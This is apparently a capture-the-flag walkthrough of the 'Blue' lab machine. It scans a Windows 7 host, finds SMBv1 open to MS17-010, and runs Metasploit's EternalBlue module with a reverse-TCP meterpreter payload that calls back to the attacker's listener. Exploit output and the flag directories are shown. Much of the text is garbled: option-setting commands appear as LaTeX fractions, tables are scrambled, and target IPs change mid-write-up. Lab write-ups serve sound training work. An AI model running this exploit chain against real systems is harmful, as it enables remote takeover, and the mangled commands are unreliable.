## Blue

Let's start with enumerating services with simple nmap command.

```
Starting Nmap -sV 10.129.74.148

Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 07:50 CST

Nmap scan report for 10.129.74.148

Host is up (0.062s latency).

Not shown: 991 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Port 445 open indicates that SMB might be running on that port. Let's list shares if any are available.

```
smbclient -L \\\\10.129.74.148 --no-pass
       Sharename
                       Type
                                Comment
       ADMIN$
                      Disk
                                Remote Admin
                       Disk
                                Default share
       C$
       IPC$
                       IPC
                                Remote IPC
       Share
                       Disk
       Users
                      Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.74.148 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Now let's try connecting to IPC\$ share with no password authentication.

```
$ smbclient \\\\10.129.91.8\\IPC$ --no-pass
Try "help" to get a list of possible commands.
smb: \>
```

We cannot view contests of this share or there is nothing in it. Lets try Users.

```
$ smbclient \\\\10.129.74.148\\Users -- no-pass
Try "help" to get a list of possible commands.
smb: \> ls
                                                0 Fri Jul 21 01:56:23 2017
                                     DR
                                     DR
                                                  Fri Jul 21 01:56:23 2017
                                                0
  Default
                                     DHR
                                                0
                                                  Tue Jul 14 02:07:31 2009
  desktop.ini
                                     AHS
                                              174
                                                   Mon Jul 13 23:54:24 2009
  Public
                                                   Tue Apr 12 02:51:29 2011
                                      DR
                4692735 blocks of size 4096. 592643 blocks available
```

We are able to display contents of this one, but no interesting files found.

To view more information dumped from SMB, like OS or SMB version we can run following command:

```
-$ nmap --script "safe or smb-enum-*" -p 445 10.129.74.148

smb-os-discovery:
    OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
    OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
    Computer name: haris-PC
    NetBIOS computer name: HARIS-PC\x00
    Workgroup: WORKGROUP\x00
    System time: 2023-11-23T13:52:09+00:00
```

```
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 202
|_ 210
|_clock-skew: mean: 4s, deviation: 2s, median: 3s
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
```

We can see that it's running v1 of SMB so very vulnerable version.

Let's open Metasploit and look for SMB RCE or EternalBlue exploit as indicated.

## -\$ msfconsole

```
msf6 > search eternalblue
Matching Modules
  # Name
                                               Disclosure Date Rank
                                                                         Check Description
  0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14
                                                                                MS17-010 EternalBlue SMB Remote Win
                                                                average Yes
dows Kernel Pool Corruption
                                               2017-03-14
                                                                                MS17-010 EternalRomance/EternalSyne
     exploit/windows/smb/ms17_010_psexec
                                                                normal
                                                                         Yes
rgy/EternalChampion SMB Remote Windows Code Execution
   2 auxiliary/admin/smb/ms17_010_command
                                               2017-03-14
                                                                normal
                                                                                MS17-010 EternalRomance/EternalSyne
rgy/EternalChampion SMB Remote Windows Command Execution
  3 auxiliary/scanner/smb/smb_ms17_010
                                                                normal
                                                                         No
                                                                                MS17-010 SMB RCE Detection
                                                                                SMB DOUBLEPULSAR Remote Code Execut
     exploit/windows/smb/smb_doublepulsar_rce 2017-04-14
                                                                         Yes
```

Let's try first option and leave payload as default.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
```

Now we have to set few options, to list them run following command:

```
msf6 exploit(
                                              ) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
                   Current Setting Required Description
   Name
   RHOSTS
                                               The target host(s), see https://docs.metasploit.com/docs/using-metasp
                                    yes
                                              loit/basics/using-metasploit.html
The target port (TCP)
   RPORT
                   445
                                    yes
   SMBDomain
                                              (Optional) The Windows domain to use for authentication. Only affects
                                               Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 targe
                                               t machines.
                                               (Optional) The password for the specified username
   SMBPass
   SMBUser
                                               (Optional) The username to authenticate as
                                    no
   VERIFY_ARCH
                                              Check if remote architecture matches exploit Target. Only affects Win
                   true
                                    ves
                                              dows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target ma
                                               chines.
   VERIFY_TARGET true
                                              Check if remote OS matches exploit Target. Only affects Windows Serve
                                              r 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name
             Current Setting Required Description
                                         Exit technique (Accepted: '', seh, thread, process, none)
   EXITFUNC thread
   LHOST
             10.0.2.15
                                         The listen address (an interface may be specified)
                               yes
   LPORT
             4444
                               ves
                                         The listen port
Exploit target:
   Ιd
      Name
       Automatic Target
```

As indicated in required optiongs column, we have to set hosts and ip for both target and attacker side.

```
\frac{msf6}{RHOSTS} = 10.129.91.8
\frac{msf6}{msf6} = \frac{10.129.91.8}{RHOSTS} = 10.129.91.8
\frac{msf6}{msf6} = \frac{10.129.91.8}{RPORT} = \frac{10.129.91.8}{A45}
\frac{msf6}{msf6} = \frac{10.10.14.170}{LHOST} = \frac{12.34}{LPORT} = \frac{12.34}{LPORT}
```

Finally, run the exploit.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

We can see an extensive output and after a while, system is exploited.

```
*] Started reverse TCP handler on 10.10.14.170:1234
[*] 10.129.91.8:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.91.8:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64
(64-bit)
[*] 10.129.91.8:445
                               - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.91.8:445 - The target is vulnerable.
[*] 10.129.91.8:445 - Connecting to target for exploitation.
[+] 10.129.91.8:445 - Connection established for exploitation.[+] 10.129.91.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.91.8:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.91.8:445 - 0×00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.91.8:445 - 0×00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.91.8:445 - 0×00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.129.91.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.91.8:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.91.8:445 - Sending all but last fragment of exploit packet
[*] 10.129.91.8:445 - Starting non-paged pool grooming
[+] 10.129.91.8:445 - Sending SMBv2 buffers
[+] 10.129.91.8:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.91.8:445 - Sending final SMBv2 buffers.
[*] 10.129.91.8:445 - Sending last fragment of exploit packet!
[*] 10.129.91.8:445 - Receiving response from exploit packet
[+] 10.129.91.8:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!
[*] 10.129.91.8:445 - Sending egg to corrupted connection.
[*] 10.129.91.8:445 - Triggering free of corrupted buffer.
    [*] 10.129.91.8:445 - Connecting to target for exploitation.
[+] 10.129.91.8:445 - Connection established for exploitation.
[+] 10.129.91.8:445 - Connection established for exploitation.
[+] 10.129.91.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.91.8:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.91.8:445 - 0×00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.91.8:445 - 0×00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.91.8:445 - 0×00000020 69 63 65 20 50 61 63 6b 20 31 id=1.0.129.91.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
                                                                                                        ice Pack 1
[*] 10.129.91.8:445 - Trying exploit with 17 Groom Allocations.
[*] 10.129.91.8:445 - Sending all but last fragment of exploit packet
* 10.129.91.8:445 - Starting non-paged pool grooming
[+] 10.129.91.8:445 - Sending SMBv2 buffers
[+] 10.129.91.8:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.91.8:445 - Sending final SMBv2 buffers.
[*] 10.129.91.8:445 - Sending last fragment of exploit packet!
[*] 10.129.91.8:445 - Receiving response from exploit packet
[+] 10.129.91.8:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!
[*] 10.129.91.8:445 - Sending egg to corrupted connection.
[*] 10.129.91.8:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.129.91.8
    Meterpreter session 1 opened (10.10.14.170:1234 \rightarrow 10.129.91.8:49158) at 2023-11-23 07:42:53 -0600
[+] 10.129.91.8:445 - =-=-=-=
    10.129.91.8:445 - =-=-=-=-=-=-=-WIN-=-=-=-=
```

We can list available command with help:

```
meterpreter > help
```

Metasploit did all the job, from here we can find user and root flags in following directories:

## lmeterpreter > ls Listing: C:\Users\haris\Desktop

Mode	Size	Туре	Last modified	Name
			2017-07-15 02:58:32 -0500 2023-11-23 04:56:25 -0600	

## meterpreter > ls

Listing: C:\Users\Administrator\Desktop

Mode	Size	Type	Last modified	Name
			2017-07-21 01:56:40 -0500 2023-11-23 04:56:25 -0600	